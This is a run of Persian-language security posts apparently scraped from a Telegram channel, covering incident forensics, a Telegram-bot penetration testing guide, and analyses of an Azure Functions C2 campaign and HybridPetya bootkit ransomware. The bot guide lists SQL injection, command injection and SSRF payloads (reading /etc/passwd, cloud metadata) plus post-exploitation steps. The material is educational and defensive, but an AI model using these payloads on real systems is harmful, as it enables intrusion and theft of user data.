با در اختیار داشتن داده‌های فرّار و ایمیج دیسک، تحلیلگر می‌تواند به دنبال شاخص‌های نفوذ (Indicators of Compromise - IoCs) و تاکتیک‌ها، تکنیک‌ها و رویه‌های (TTPs) مهاجم بگردد. این مرحله شامل موارد زیر است:

- تحلیل Timeline: ایجاد یک خط زمانی دقیق از رویدادها با استفاده از timestamp فایل‌ها، لاگ‌های سیستم و رویدادهای ثبت شده.

- بررسی لاگ‌ها: جستجو در لاگ‌های سیستم‌عامل (Event Logs)، لاگ‌های وب‌سرور، فایروال و دیگر برنامه‌ها برای یافتن فعالیت‌های مشکوک.

- جستجوی Persistence Mechanisms: بررسی روش‌هایی که مهاجم برای حفظ دسترسی خود پس از reboot سیستم به کار برده است (مانند scheduled tasks, registry keys, services).

- تحلیل فایل‌های مشکوک: استخراج و تحلیل فایل‌های اجرایی، اسکریپت‌ها و بدافزارهای احتمالی در یک محیط امن.

نتیجه‌گیری و آمادگی:

1. تهیه Playbook: سازمان‌ها باید یک دستورالعمل مُدَوَن برای پاسخ به انواع مختلف حوادث سایبری داشته باشند. این سند باید مراحل کار، مسئولیت‌ها و ابزارهای مورد نیاز را به وضوح مشخص کند.

2. آماده‌سازی ابزارها: یک کیت ابزار پاسخ به حوادث که شامل نرم‌افزارهای لازم برای جمع‌آوری داده‌های فرّار و ایمیج‌گیری است، باید از قبل آماده و در دسترس باشد.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Mr. SAM
#Forensics فارنزیک دیجیتال : گام‌های نخستین در حملات سایبری در دنیای امنیت سایبری، سرعت و دقت در لحظات اولیه پس از شناسایی یک حادثه، نقشی حیاتی در مهار خسارت و شناسایی مهاجم ایفا می‌کند. اولین گام‌ها در تحقیق حملات سایبری ، به زیبایی این لحظات بحرانی را…
3. آموزش و تمرین: تیم امنیت باید به طور منظم سناریوهای مختلف حمله را شبیه‌سازی و تمرین کند (Tabletop Exercises) تا در زمان وقوع حادثه واقعی، هماهنگ و کارآمد عمل نمایند.

4. حفظ زنجیره مستندات (Chain of Custody): تمامی اقدامات، از لحظه شناسایی تا پایان تحلیل، باید به دقت مستندسازی شوند. این مستندات برای تحلیل‌های آتی و پیگیری‌های حقوقی ضروری است.

در نهایت، به یاد داشته باشید که در ترازوی فارنزیک، هر دو کفه "سرعت" و "دقت" باید هم‌وزن باشند. عجله بیش از حد منجر به از دست رفتن شواهد کلیدی می‌شود و وسواس بیش از حد در تحلیل، به مهاجم فرصت می‌دهد تا خسارت بیشتری وارد کرده و ردپای خود را پاک کند.


@NullError_ir
🔥1
#telegram_bot

تست نفوذ و امن‌سازی ربات‌های تلگرام
(از شناسایی تا بهره‌برداری)


مقدمه: معماری و سطح حمله (Attack Surface)

برخلاف تصور اولیه، تست نفوذ یک ربات تلگرام، آزمودن زیرساخت خود تلگرام نیست. آسیب‌پذیری‌ها تقریباً همیشه در سرور پشتیبان (Backend Server) که منطق ربات را پیاده‌سازی می‌کند، وجود دارند.

معماری یک ربات تلگرام به صورت زیر است:

کاربر <--> سرورهای تلگرام (API) <--> سرور پشتیبان ربات (Backend) <--> پایگاه داده و سرویس‌های دیگر

سطح حمله ما، سرور پشتیبان ربات است. ربات تلگرام تنها یک واسط (Interface) برای ارسال ورودی‌های ما به این سرور و دریافت خروجی از آن است. بنابراین، ما در حال انجام یک تست نفوذ بر روی یک برنامه (معمولاً وب اپلیکیشن بدون رابط کاربری گرافیکی) هستیم که از طریق API تلگرام با دنیای خارج ارتباط برقرار می‌کند.

فاز ۱: شناسایی و جمع‌آوری اطلاعات (Reconnaissance)

این مرحله حیاتی‌ترین فاز است و پایه و اساس تمام مراحل بعدی را تشکیل می‌دهد. هدف، درک کامل از عملکرد ربات، تکنولوژی‌های احتمالی و جمع‌آوری تمام نقاط ورودی ممکن است.

#**۱.۱. شناسایی غیرفعال (Passive Reconnaissance)

* **جمع‌آوری اطلاعات پایه:
نام کاربری ربات ( @username )، نام نمایشی و عکس پروفایل را بررسی کنید.

* مهندسی اجتماعی و جستجوی آنلاین:

* به دنبال وب‌سایت، کانال تلگرام یا گروه مرتبط با ربات بگردید.

* نام ربات یا توسعه‌دهنده آن را در پلتفرم‌هایی مانند GitHub جستجو کنید. یافتن کد منبع ربات، یک گنج بزرگ محسوب می‌شود و تست را از حالت جعبه-سیاه به جعبه-سفید تبدیل می‌کند.

* از Google Dorking برای یافتن اطلاعات مرتبط با ربات یا دامنه سرور پشتیبان آن استفاده کنید. ( inurl: "bot_name" , site:github.com "bot_name" )

#**۱.۲. شناسایی فعال (Active Reconnaissance)

* **تعامل اولیه:


* ربات را با دستور /start فعال کنید. به پیام خوش‌آمدگویی، دکمه‌های کیبورد سفارشی (Custom Keyboard) و گزینه‌های موجود دقت کنید.

* دستور /help یا مشابه آن را برای دریافت لیست کامل دستورات ارسال کنید.

* نقشه‌برداری از عملکرد (Functionality Mapping):

* تمام دستورات و دکمه‌ها را فراخوانی کرده و عملکرد هر یک را مستند کنید.

* ورودی‌های مورد انتظار برای هر دستور را شناسایی کنید. (/command {argument1}{argument2} )

* به نحوه پاسخ ربات دقت کنید. آیا پاسخ‌ها ثابت هستند یا بر اساس ورودی تغییر می‌کنند؟ آیا لینک، عکس یا فایل ارسال می‌کند؟

* انگشت‌نگاری تکنولوژی (Technology Fingerprinting):

* اگر ربات با یک وب‌اپلیکیشن (WebApp) درون تلگرام باز می‌شود، این یک فرصت عالی برای تحلیل ترافیک HTTP با ابزارهایی مانند Burp Suite و انگشت‌نگاری سرور وب است.

* به ساختار پیام‌های خطا دقت کنید. خطاهای verbose می‌توانند اطلاعاتی در مورد زبان برنامه‌نویسی (Python, Go, PHP)، فریمورک (Django, Express) یا نوع پایگاه داده را فاش کنند.


فاز ۲: تحلیل آسیب‌پذیری و مدل‌سازی حمله

با اطلاعات به دست آمده از فاز قبل، اکنون باید فرضیه‌هایی در مورد آسیب‌پذیری‌های محتمل ایجاد کنیم.

* نقاط ورودی داده: تمام پارامترهای دستورات (/search {query} ), ورودی‌های متنی آزاد, ورودی‌های دکمه‌های inline, و هر داده دیگری که از کاربر به سرور ارسال می‌شود، نقاط بالقوه برای حملات تزریق هستند.

* مدل‌سازی تهدید:

* حملات تزریق (Injection Attacks): اگر ورودی کاربر برای ساخت کوئری‌های دیتابیس، دستورات سیستم‌عامل، یا کوئری‌های LDAP استفاده می‌شود، احتمال حملات SQLi, Command Injection, LDAP Injection وجود دارد.

* منطق کسب‌وکار (Business Logic Flaws): آیا می‌توان منطق ربات را دور زد؟ (مثلاً در یک ربات فروشگاهی، قیمت را دستکاری کرد یا فرآیند پرداخت را رد کرد).

* کنترل دسترسی شکسته (Broken Access Control): آیا کاربران عادی می‌توانند به دستورات مدیریتی (مانند /admin , /panel , /users) دسترسی پیدا کنند؟

* جعل درخواست سمت سرور (SSRF): اگر ربات قابلیتی برای دریافت URL از کاربر و پردازش آن دارد (مثلاً برای پیش‌نمایش لینک یا دانلود فایل)، می‌تواند به SSRF آسیب‌پذیر باشد.

* آسیب‌پذیری‌های فایل (File Vulnerabilities): اگر ربات فایل آپلود یا دانلود می‌کند، می‌تواند به Path Traversal (LFI/RFI) یا آپلود فایل‌های مخرب آسیب‌پذیر باشد.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Mr. SAM
#telegram_bot تست نفوذ و امن‌سازی ربات‌های تلگرام (از شناسایی تا بهره‌برداری) مقدمه: معماری و سطح حمله (Attack Surface) برخلاف تصور اولیه، تست نفوذ یک ربات تلگرام، آزمودن زیرساخت خود تلگرام نیست. آسیب‌پذیری‌ها تقریباً همیشه در سرور پشتیبان (Backend Server)…
فاز ۳: بهره‌برداری (Exploitation)

این فاز، اجرای عملی فرضیه‌های مطرح شده در فاز قبل است.

#**۳.۱. تست آسیب‌پذیری‌های تزریق**

۔* SQL Injection (SQLi):

* مثال: رباتی با دستور /userinfo {username}

* پیلودهای تست:

۔* Boolean-based: ارسال ' OR 1=1-- و ' OR 1=2-- و مشاهده تفاوت در پاسخ.

۔* Time-based: ارسال ' OR IF(1=1, SLEEP(5), 0)-- و مشاهده تأخیر ۵ ثانیه‌ای در پاسخ.

۔* Error-based: ارسال کاراکترهای خاص مانند ' , " برای استخراج پیام خطای دیتابیس.

* ابزار: SQLMap می‌تواند برای خودکارسازی این فرآیند استفاده شود، البته نیازمند یک اسکریپت واسط برای ارسال درخواست‌ها از طریق API تلگرام است.

۔* Command Injection (RCE):

* مثال: رباتی با دستور /ping {host} که یک آدرس IP را پینگ می‌کند.

* کد آسیب‌پذیر (مثال پایتون): os.system("ping -c 1 " + host)

* پیلودهای تست:

۔* 8.8.8.8; id
۔* 8.8.8.8 && whoami
۔* 8.8.8.8 | cat /etc/passwd
۔* `` ls -la `` (backticks)

* هدف، اجرای دستورات دلخواه بر روی سیستم‌عامل سرور است.

**۳.۲. تست جعل درخواست سمت سرور (SSRF)

* **مثال:
رباتی با دستور /preview {URL}

* پیلودهای تست:

* دسترسی به سرویس‌های داخلی: http://localhost , http://127.0.0.1:8080

* خواندن فایل‌های محلی: file:///etc/passwd , file:///c:/windows/win.ini

* دسترسی به متادیتای سرویس‌های ابری: http://169.254.169.254/latest/meta-data/ (در AWS)

۳.۳. تست کنترل دسترسی

* تلاش برای دسترسی مستقیم: به صورت دستی دستورات مدیریتی محتمل را حدس زده و ارسال کنید: /admin , /settings , /broadcast , /get_users .

* دستکاری پارامتر (Parameter Tampering): اگر ربات دستوری مانند /my_orders دارد، سعی کنید با ارسال /orders?user_id=12345 به اطلاعات دیگر کاربران دسترسی پیدا کنید. (این سناریو بیشتر در وب‌اپلیکیشن‌های متصل به ربات کاربرد دارد).

۳.۴. تست منطق برنامه

این نوع تست به خلاقیت و درک عمیق از عملکرد ربات نیاز دارد.

* مثال: در یک ربات رأی‌گیری، آیا می‌توان با یک حساب کاربری چندین بار رأی داد؟ آیا می‌توان با پاک کردن داده‌های ربات ( /clear ) دوباره رأی داد؟

* مثال: در یک ربات مسابقه، آیا می‌توان با ارسال سریع پاسخ‌ها یا دستکاری درخواست‌ها، در زمان تقلب کرد؟

فاز ۴: پس از بهره‌برداری (Post-Exploitation)

در صورت موفقیت در فاز قبل (مثلاً کسب دسترسی RCE)، اقدامات زیر در محدوده مجاز تست قابل انجام است:

* شناسایی محیط: اجرای دستوراتی مانند whoami , id , uname -a , ip a , ps aux برای درک محیط فعلی.

* ارتقای سطح دسترسی (Privilege Escalation): جستجو برای ضعف‌های پیکربندی یا آسیب‌پذیری‌های کرنل برای کسب دسترسی root یا Administrator.

* حرکت جانبی (Lateral Movement): تلاش برای دسترسی به دیگر سیستم‌ها در همان شبکه داخلی.

* استخراج داده‌ها: دسترسی به پایگاه داده، استخراج اطلاعات کاربران، توکن‌ها یا هر داده حساس دیگری.

فاز ۵: گزارش‌دهی و امن‌سازی

یک گزارش تست نفوذ حرفه‌ای باید شامل موارد زیر باشد:

* خلاصه مدیریتی (Executive Summary): توضیح کلی از وضعیت امنیتی و ریسک‌های اصلی برای مدیران.

* جزئیات فنی آسیب‌پذیری‌ها:

* نام آسیب‌پذیری و امتیاز ریسک آن (مثلاً بر اساس CVSS).

* شرح دقیق آسیب‌پذیری و تأثیر آن بر کسب‌وکار.

* مراحل دقیق بازتولید (Steps to Reproduce) همراه با پیلودهای استفاده شده.

* شواهد و مدارک (Screenshots, Logs).

* راهکارهای پیشنهادی برای اصلاح (Remediation): ارائه راهکارهای مشخص، عملی و قابل پیاده‌سازی.

* **اعتبارسنجی سخت‌گیرانه ورودی‌ها (Input Validation):
هرگز به ورودی کاربر اعتماد نکنید. تمام داده‌های دریافتی باید بر اساس یک لیست سفید (Whitelist) از کاراکترها، طول و فرمت مجاز، اعتبارسنجی شوند.

* استفاده از (Parameterized Queries): این راهکار اصلی برای جلوگیری از تمام انواع SQL Injection است. در این روش، کوئری و داده به صورت جداگانه به درایور پایگاه داده ارسال می‌شوند.

* کد آسیب‌پذیر (Python): cursor.execute("SELECT * FROM users WHERE id = %s" % user_id)

* کد امن (Python): cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

* اصل حداقل دسترسی : پروسس ربات و کاربر پایگاه داده آن باید فقط به منابع و دستوراتی که برای عملکرد صحیح نیاز دارند، دسترسی داشته باشند.

* مدیریت خطای امن: پیام‌های خطا نباید هیچ‌گونه اطلاعات حساسی (Stack Traces, Error Codes, File Paths) را به کاربر نمایش دهند.

* محدودیت نرخ درخواست (Rate Limiting): برای جلوگیری از حملات Brute-force، Denial of Service و abuse منطق برنامه، تعداد درخواست‌های هر کاربر در یک بازه زمانی مشخص باید محدود شود.

@NullError_ir
اخیرا کاری ارزشمند از کانال تلگرامی @HackMeLocal در کامیونیتی فارسی دیدم در مورد چالش تست نفوذ ربات‌های تلگرامی که بسیار جالب بود . ایده ای به ذهنم رسید که ابزاری برای آشنایی بیشتر علاقه‌مندان به این حوزه ایجاد کنم که هم یادگیری باشد و هم تست نفوذ . ابزار TBPenter آماده شد و در گیت‌هاب برای استفاده دوستان قرار گرفت 🌹

@NullError_ir
#Azure_Functions

تحلیل بدافزار پیشرفته‌ای که با سوءاستفاده از Azure Functions از رادارها پنهان می‌شود

محققان امنیت سایبری از شناسایی یک کمپین بدافزاری پیچیده خبر داده‌اند که با بهره‌برداری از سرویس serverless مایکروسافت، یعنی Azure Functions، برای زیرساخت Command and Control (C2) خود استفاده می‌کند. این تکنیک به مهاجمان اجازه می‌دهد تا ترافیک مخرب خود را در قالب ارتباطات مشروع با سرویس‌های ابری مایکروسافت پنهان کرده و از شناسایی بگریزند. این رویکرد نشان‌دهنده تکامل تاکتیک‌های مهاجمان برای ترکیب شدن با محیط‌های سازمانی و افزایش پایداری (persistence) است.


فرایند کشف و تحلیل بدافزار با استفاده از VirusTotal

سرنخ اولیه برای شناسایی این تهدید نوین، از طریق تحلیل یک نمونه مشکوک در پلتفرم VirusTotal به دست آمد. این پلتفرم که سرویس‌های تحلیلی و ده‌ها موتور آنتی‌ویروس را تجمیع می‌کند، به محققان اجازه داد تا به نشانه‌های اولیه از یک فعالیت مخرب پیشرفته دست یابند.

* نشانه‌های اولیه در VirusTotal:

1. نرخ شناسایی بسیار پایین (Low Detection Rate): در زمان آپلود اولیه، تعداد بسیار کمی از موتورهای آنتی‌ویروس قادر به شناسایی فایل‌های مخرب بودند. این خود یک زنگ خطر جدی برای تهدیدات جدید یا بسیار evasive است.

2. تحلیل رفتاری (Behavioral Analysis): گزارش‌های Sandbox در VirusTotal نشان داد که یک فایل اجرایی معتبر و دارای امضای دیجیتال از شرکت Palo Alto Networks (با نام PanGpHip.exe )، در حال برقراری ارتباطات شبکه‌ای مشکوک به یک URL در دامنه azurewebsites.net است. این رفتار برای این پروسس خاص، غیرمنتظره و نامتعارف بود.

3. ارتباطات فایل (File Relationships): تحلیلگر متوجه شد که این فایل اجرایی قانونی، یک فایل DLL بدون امضا و با اعتبار پایین (libwaapi.dll ) را بارگذاری می‌کند که در کنار آن قرار داده شده بود. این الگو به وضوح به استفاده از تکنیک DLL Side-Loading اشاره داشت.

این نشانه‌های کلیدی، محققان را بر آن داشت تا یک تحلیل عمیق و دستی (manual analysis) را آغاز کنند. مهندسی معکوس فایل DLL مخرب، در نهایت منجر به کشف کامل زنجیره حمله، مکانیزم تزریق به حافظه و پروتکل ارتباطی با سرور C2 شد که در ادامه تشریح می‌شود.

جزئیات فنی و زنجیره حمله (Attack Chain):

این حمله چند مرحله‌ای با یک فایل ISO آغاز می‌شود که به عنوان یک درایو نوری مجازی عمل کرده و مکانیزم‌های دفاعی مرورگرها را دور می‌زند. درون این فایل ISO، یک فایل میان‌بر (LNK) مخرب قرار دارد.

1. نقطه ورود (Initial Access):

* عامل تهدید، یک فایل ISO را از طریق روش‌های مهندسی اجتماعی توزیع می‌کند.

* درون فایل ISO، یک فایل LNK به همراه یک فایل اجرایی قانونی PanGpHip.exe و دو فایل DLL (یکی قانونی و دیگری مخرب) پنهان شده‌اند.

2. اجرای اولیه و DLL Side-Loading:

* با کلیک کاربر روی فایل LNK، فایل اجرایی قانونی PanGpHip.exe اجرا می‌شود.

* این فایل اجرایی به دلیل آسیب‌پذیری در نحوه بارگذاری کتابخانه‌های دینامیکی، به جای DLL قانونی، فایل DLL مخرب (libwaapi.dll ) را بارگذاری می‌کند. این تکنیک یک روش مؤثر برای اجرای کد مخرب تحت یک پروسس قابل اعتماد (trusted process) است.

3. تزریق Payload به حافظه (In-Memory Injection):

۔* DLL مخرب پس از بارگذاری، یک shellcode رمزگذاری‌شده را در حافظه رمزگشایی (decrypt) می‌کند.

* سپس این shellcode به یک پروسس قانونی دیگر، یعنی chakra.dll (موتور جاوا اسکریپت Microsoft Edge)، تزریق می‌شود تا ردپای کمتری از خود به جای بگذارد.

4. ارتباط با زیرساخت C2 مبتنی بر Azure Functions:

۔* Shellcode نهایی، مسئول برقراری ارتباط با سرور C2 از طریق ارسال درخواست‌های HTTPS به یک URL خاص در دامنه azurewebsites.net است. از آنجایی که این دامنه متعلق به مایکروسافت است، ترافیک مذکور در نگاه اول مشروع به نظر می‌رسد.

5. جمع‌آوری و استخراج داده (Data Collection & Exfiltration):

* پس از برقراری ارتباط، بدافزار شروع به جمع‌آوری اطلاعات پروفایل قربانی (نام کامپیوتر، نام کاربری، جزئیات سیستم‌عامل و...) کرده و به صورت رمزگذاری شده به سرور C2 ارسال می‌کند.

چرا این حمله پیشرفته و خطرناک است؟

* استفاده از زیرساخت ابری معتبر (Living-off-the-Cloud): سوءاستفاده از Azure Functions شناسایی ترافیک C2 را بسیار دشوار می‌سازد، زیرا مسدودسازی دامنه‌های Azure می‌تواند سرویس‌های قانونی کسب‌وکار را مختل کند.

* زنجیره حمله چندمرحله‌ای و با حداقل ردپا (Low Footprint): اجرای بخش‌های اصلی بدافزار در حافظه، تحلیل forensics را پیچیده کرده و شناسایی توسط آنتی‌ویروس‌های مبتنی بر امضا را ناکارآمد می‌سازد.

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#Azure_Functions تحلیل بدافزار پیشرفته‌ای که با سوءاستفاده از Azure Functions از رادارها پنهان می‌شود محققان امنیت سایبری از شناسایی یک کمپین بدافزاری پیچیده خبر داده‌اند که با بهره‌برداری از سرویس serverless مایکروسافت، یعنی Azure Functions، برای زیرساخت…
* گریز از تشخیص (Evasion): ترکیب یک فایل اجرایی معتبر، تکنیک DLL Side-Loading و پنهان‌سازی ترافیک در بستر HTTPS به یک سرویس ابری معتبر، به این بدافزار قدرت گریز بالایی بخشیده است.

راهکارهای مقابله و کاهش ریسک (Mitigation & Defense):

1. نظارت بر ترافیک شبکه (Network Traffic Monitoring):

* به جای blacklisting ، ترافیک خروجی به سرویس‌های ابری مانند Azure را برای یافتن الگوهای غیرعادی (مانند beaconing منظم یا ارتباط از سوی پروسس‌های نامرتبط) تحلیل کنید.

* از ابزارهای SSL/TLS Inspection (Decryption) برای بازرسی محتوای ترافیک رمزگذاری شده استفاده کنید.

2. تقویت امنیت Endpoint (Endpoint Hardening):

* از راه‌حل‌های EDR (Endpoint Detection and Response) برای شناسایی تکنیک‌هایی مانند DLL Side-Loading و تزریق به حافظه استفاده کنید.

* قوانین Attack Surface Reduction (ASR) را در Microsoft Defender برای جلوگیری از اجرای کدهای مشکوک توسط فایل‌های LNK فعال کنید.

3. آموزش و آگاهی‌رسانی کاربران:

* کاربران را در مورد خطرات فایل‌های ISO و LNK آموزش دهید و بر لزوم احتیاط در اجرای فایل‌های دانلودی تأکید کنید.

4. تحلیل بدافزار و Threat Hunting:

* به صورت فعالانه (proactive) به دنبال Indicators of Compromise (IoCs) مرتبط با این کمپین، مانند هش فایل‌ها یا URLهای خاص azurewebsites.net ، باشید.

* کمپین‌های Threat Hunting را با تمرکز بر جستجوی لاگ‌های اجرای پروسس برای یافتن موارد مشکوک از PanGpHip.exe اجرا کنید.

@NullError_ir
#HybridPetya

تحلیل HybridPetya : وقتی Ransomware با Bootkit ترکیب می‌شود تا Secure Boot را تسلیم کند

یک تهدید جدید و بسیار خطرناک به نام HybridPetya . این بدافزار صرفاً یک Ransomware دیگر نیست، بلکه ترکیبی هوشمندانه از یک Ransomware فایل (File Encryptor) و یک Bootkit است که با هدف قرار دادن فرآیند بوت سیستم، می‌تواند یکی از مهم‌ترین مکانیزم‌های امنیتی مدرن، یعنی UEFI Secure Boot ، را دور بزند.

### زنجیره حمله (Attack Chain): فراتر از یک اجرای ساده

برخلاف Ransomwareهای متداول که پس از اجرا شروع به رمزنگاری فایل‌ها می‌کنند، HybridPetya یک زنجیره حمله چندمرحله‌ای و بسیار مخرب‌تر را دنبال می‌کند:

1. دستیابی اولیه و افزایش سطح دسترسی (Initial Access & Privilege Escalation): مهاجمان در مرحله اول باید به سیستم قربانی نفوذ کرده و به سطح دسترسی مدیریتی (Administrator/SYSTEM) دست پیدا کنند. این مرحله از طریق روش‌های متداول مانند حملات فیشینگ، بهره‌برداری از آسیب‌پذیری‌های نرم‌افزاری یا استفاده از اطلاعات هویتی به سرقت رفته، انجام می‌شود. کسب این سطح از دسترسی برای اجرای مراحل بعدی حیاتی است.

2. آماده‌سازی برای دستکاری Firmware: بدافزار پس از کسب دسترسی لازم، با فعال کردن پرمیژن SeSystemEnvironmentPrivilege ، به خود اجازه دسترسی و تغییر در متغیرهای محیطی UEFI Firmware را می‌دهد. این پرمیژن کلید اصلی برای دستکاری در فرآیند بوت سیستم است.

3. کاشت Bootkit در پارتیشن EFI:

* بدافزار ابتدا یک Bootloader قانونی و امضاشده (Signed) متعلق به شرکت ASRock را در پارتیشن سیستمی EFI (ESP) کپی می‌کند. این Bootloader دارای یک آسیب‌پذیری شناخته شده است.

* سپس، Bootloader مخرب و اصلی خود را که فاقد امضای دیجیتال معتبر است، در همین پارتیشن قرار می‌دهد.

* در نهایت، با استفاده از دسترسی به متغیرهای UEFI (که در مرحله قبل کسب کرد)، ترتیب بوت (BootOrder) را تغییر می‌دهد تا سیستم در راه‌اندازی بعدی، ابتدا Bootloader آسیب‌پذیر ASRock را اجرا کند.

4. اجرای پیش از سیستم‌عامل (Pre-OS Execution) و رمزنگاری MFT:

* پس از Restart شدن سیستم، UEFI Firmware ابتدا Bootloader مربوط به ASRock را بارگذاری می‌کند. از آنجایی که این فایل دارای امضای دیجیتال معتبر است، Secure Boot هیچ خطایی شناسایی نکرده و اجازه اجرای آن را می‌دهد.

* بوت لودر آسیب‌پذیر ASRock پس از اجرا، به مهاجم اجازه می‌دهد تا مکانیزم‌های امنیتی را غیرفعال کرده و کنترل را به Bootloader مخرب و بدون امضا واگذار کند. در این لحظه، زنجیره اعتماد (Chain of Trust) که Secure Boot بر پایه آن بنا شده، شکسته می‌شود.

* بوت لودر مخرب کنترل کامل سیستم را در اختیار گرفته و با الهام از Ransomware Petya ، شروع به رمزنگاری Master File Table (MFT) درایو NTFS می‌کند. این کار باعث می‌شود ساختار فایل سیستم از بین رفته و سیستم‌عامل دیگر قادر به بوت شدن نباشد.

* در نهایت، یک یادداشت باج‌خواهی (Ransom Note) روی صفحه نمایش داده می‌شود و سیستم قفل می‌شود.

5. رمزنگاری فایل‌ها (File Encryption): بخش "هیبریدی" این بدافزار به مؤلفه Ransomware آن بازمی‌گردد که پیش از راه‌اندازی مجدد سیستم**، فایل‌های کاربر را نیز به صورت جداگانه رمزنگاری می‌کند. این یعنی حتی اگر قربانی راهی برای ترمیم MFT پیدا کند، فایل‌هایش همچنان رمزنگاری شده باقی می‌مانند.

قلب تپنده حمله: تکنیک Bypass کردن Secure Boot در سطح APT


تکنیکی که HybridPetya برای دور زدن Secure Boot استفاده می‌کند، یک نسخه از حملات شناخته شده به نام "Bring Your Own Vulnerable Driver" (BYOVD) است که در اینجا برای Bootloader پیاده‌سازی شده است. این تکنیک دقیقاً مشابه روشی است که توسط Bootkit بسیار پیشرفته BlackLotus (که به گروه‌های APT نسبت داده می‌شود) استفاده شد.

* منطق حمله: Secure Boot برای اطمینان از اینکه تنها کدهای معتبر (با امضای دیجیتال صحیح) در فرآیند بوت اجرا می‌شوند، طراحی شده است. مهاجمان با پیدا کردن یک قطعه کد قانونی و امضاشده (مانند یک درایور یا Bootloader) که دارای آسیب‌پذیری است، از "اعتماد" سیستم به آن امضا سوءاستفاده می‌کنند. آن‌ها این قطعه کد معتبر را به عنوان یک "اسب تروآ" وارد سیستم کرده و سپس از طریق آسیب‌پذیری موجود در آن، کد مخرب و بدون امضای خود را اجرا می‌کنند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#HybridPetya تحلیل HybridPetya : وقتی Ransomware با Bootkit ترکیب می‌شود تا Secure Boot را تسلیم کند یک تهدید جدید و بسیار خطرناک به نام HybridPetya . این بدافزار صرفاً یک Ransomware دیگر نیست، بلکه ترکیبی هوشمندانه از یک Ransomware فایل (File Encryptor)…
* چرا این روش بسیار خطرناک است؟ این تکنیک به مهاجمان اجازه می‌دهد تا در پایین‌ترین لایه‌های نرم‌افزاری سیستم (پیش از بارگذاری سیستم‌عامل و راه‌حل‌های امنیتی آن مانند آنتی‌ویروس و EDR) کد خود را اجرا کنند. این سطح از پایداری (Persistence) و پنهان‌کاری، مشخصه بارز بدافزارهای مورد استفاده توسط گروه‌های APT است. اگرچه در این مورد خاص، هدف نهایی باج‌گیری است، اما توانایی فنی نمایش داده شده در سطح تهدیدات دولتی قرار دارد.

راهکارهای شناسایی، مقابله و پیشگیری (Detection, Mitigation & Prevention)

مقابله با چنین تهدیداتی نیازمند یک رویکرد دفاعی عمیق (Defense-in-Depth) است که فراتر از راهکارهای امنیتی سنتی باشد.

شناسایی و شکار تهدید (Detection & Threat Hunting):

1. پایش تغییرات در متغیرهای UEFI: تغییر در متغیر BootOrder یا ایجاد ورودی‌های بوت جدید در UEFI یک فعالیت بسیار مشکوک است و باید توسط تیم‌های امنیتی به دقت رصد شود. ابزارهایی مانند chipsec می‌توانند برای بازرسی پیکربندی Firmware استفاده شوند.

2. نظارت بر پارتیشن ESP: هرگونه ایجاد یا تغییر فایل‌های *.efi در پارتیشن EFI System Partition (ESP) توسط فرآیندهایی غیر از به‌روزرسانی‌های رسمی سیستم‌عامل، باید به عنوان یک هشدار جدی تلقی شود.

3. شکار Bootloaderهای آسیب‌پذیر: تیم‌های امنیتی باید یک پایگاه داده از هش (Hash) مربوط به Bootloaderها و درایورهای آسیب‌پذیر شناخته‌شده (مانند نمونه مورد استفاده از ASRock) تهیه کرده و به طور مداوم سیستم‌ها را برای یافتن این فایل‌ها اسکن کنند.

4. بررسی لاگ‌های سیستمی: به دنبال رویدادهایی باشید که به اعطای پرمیژن SeSystemEnvironmentPrivilege به فرآیندهای مشکوک اشاره دارند.

پیشگیری و مقاوم‌سازی (Prevention & Hardening):

1. به‌روزرسانی پایگاه داده dbx : مهم‌ترین راهکار برای مقابله با این نوع حملات، اطمینان از به‌روز بودن Secure Boot Forbidden Signature Database (dbx) است. این پایگاه داده لیستی از امضاهای دیجیتال مربوط به Bootloaderها و کدهای آسیب‌پذیر شناخته‌شده را در خود دارد. سیستم‌عامل‌ها و تولیدکنندگان سخت‌افزار (OEMs) به‌روزرسانی‌هایی برای dbx منتشر می‌کنند که امضای این کدهای مخرب را بلاک می‌کند. بسیاری از سازمان‌ها از این به‌روزرسانی حیاتی غافل هستند.

2. به‌روزرسانی Firmware/BIOS: تولیدکنندگان سخت‌افزار به طور مداوم Firmware خود را برای رفع آسیب‌پذیری‌ها به‌روز می‌کنند. نصب آخرین نسخه Firmware برای بستن حفره‌های امنیتی ضروری است.

3. کنترل شدید دسترسی‌های مدیریتی: از آنجایی که پیش‌نیاز این حمله دسترسی Administrator است، پیاده‌سازی اصل حداقل دسترسی (Principle of Least Privilege) و استفاده از راهکارهای AppLocker یا Windows Defender Application Control برای محدود کردن اجرای فایل‌های اجرایی ناشناس، می‌تواند زنجیره حمله را در نطفه خفه کند.

4. فعال‌سازی Virtualization-Based Security (VBS) و HVCI: در ویندوز، فعال کردن ویژگی‌هایی مانند Hypervisor-Protected Code Integrity (HVCI) می‌تواند به طور قابل توجهی کار را برای بدافزارها در دستکاری حافظه کرنل و اجرای کدهای غیرمجاز سخت‌تر کند و یک لایه دفاعی مدرن در برابر این نوع حملات ایجاد نماید.

### نتیجه‌گیری

۔HybridPetya یک زنگ خطر جدی است که نشان می‌دهد مرز بین تکنیک‌های مورد استفاده توسط مجرمان سایبری و گروه‌های APT در حال محو شدن است. استفاده از Bootkit برای دور زدن Secure Boot، پایداری و پنهان‌کاری بدافزار را به سطح کاملاً جدیدی می‌رساند و راهکارهای امنیتی سنتی را بی‌اثر می‌کند. سازمان‌ها دیگر نمی‌توانند امنیت را فقط در لایه سیستم‌عامل و اپلیکیشن‌ها جستجو کنند؛ امنیت Firmware و فرآیند بوت اکنون به یک بخش حیاتی از استراتژی دفاعی تبدیل شده است و نادیده گرفتن آن می‌تواند به فجایع امنیتی غیرقابل جبران منجر شود.

@NullError_ir
